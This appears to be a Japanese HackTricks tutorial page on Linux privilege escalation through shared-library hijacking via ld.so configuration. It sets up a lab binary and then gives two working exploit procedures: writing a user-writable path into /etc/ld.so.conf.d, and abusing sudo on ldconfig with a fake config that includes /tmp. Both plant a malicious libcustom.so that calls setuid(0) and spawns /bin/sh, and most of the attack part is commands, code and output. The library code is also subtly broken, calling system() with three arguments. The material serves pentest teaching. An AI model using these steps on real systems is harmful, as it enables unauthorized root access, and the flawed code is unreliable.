ld.so privesc exploit example

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

環境の準備

次のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます。

#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
  1. 同じフォルダーにそのファイルを作成します

  2. ライブラリコンパイルします: gcc -shared -o libcustom.so -fPIC libcustom.c

  3. libcustom.so/usr/libコピーします: sudo cp libcustom.so /usr/lib (root権限)

  4. 実行可能ファイルコンパイルします: gcc sharedvuln.c -o sharedvuln -lcustom

環境を確認する

libcustom.so/usr/lib から読み込まれていることと、バイナリを実行できることを確認します。

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Exploit

このシナリオでは、誰かが_/etc/ld.so.conf/_内に脆弱なエントリを作成したと仮定します

sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

The vulnerable folder is /home/ubuntu/lib (where we have writable access). 次のコードをそのパス内でダウンロードしてコンパイルします:

//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

今、誤って設定されたパス内に悪意のあるlibcustomライブラリを作成したので、再起動を待つか、rootユーザーが**ldconfigを実行するのを待つ必要があります(_このバイナリをsudoとして実行できる場合、またはsuidビット**が設定されている場合は、自分で実行できます_)。

これが発生したら、再確認してください。sharevuln実行可能ファイルがlibcustom.soライブラリをどこから読み込んでいるかを確認します:

$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

ご覧のとおり、/home/ubuntu/libから読み込んでいます。もしユーザーがこれを実行すると、シェルが実行されます:

$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

この例では特権を昇格させていないことに注意してくださいが、実行されるコマンドを変更し、rootまたは他の特権ユーザーが脆弱なバイナリを実行するのを待つことで特権を昇格させることができます。

その他の誤設定 - 同じ脆弱性

前の例では、管理者が**/etc/ld.so.conf.d/内の設定ファイルに非特権フォルダーを設定したという誤設定を偽装しました。 しかし、同じ脆弱性を引き起こす他の誤設定もあります。もしあなたが/etc/ld.so.conf.d内のいくつかの設定ファイル**、/etc/ld.so.conf.dフォルダー内、または/etc/ld.so.confファイル内に書き込み権限を持っている場合、同じ脆弱性を設定して悪用することができます。

エクスプロイト 2

ldconfigに対してsudo権限を持っていると仮定しますldconfig設定ファイルをどこから読み込むかを指示することができます。これを利用してldconfigに任意のフォルダーを読み込ませることができます。 それでは、"/tmp"を読み込むために必要なファイルとフォルダーを作成しましょう:

cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

今、前のエクスプロイトで示されたように、/tmp内に悪意のあるライブラリを作成します。 最後に、パスをロードして、バイナリがライブラリをどこからロードしているかを確認しましょう:

ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

ご覧のとおり、ldconfigに対するsudo権限を持っていると、同じ脆弱性を悪用できます。

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated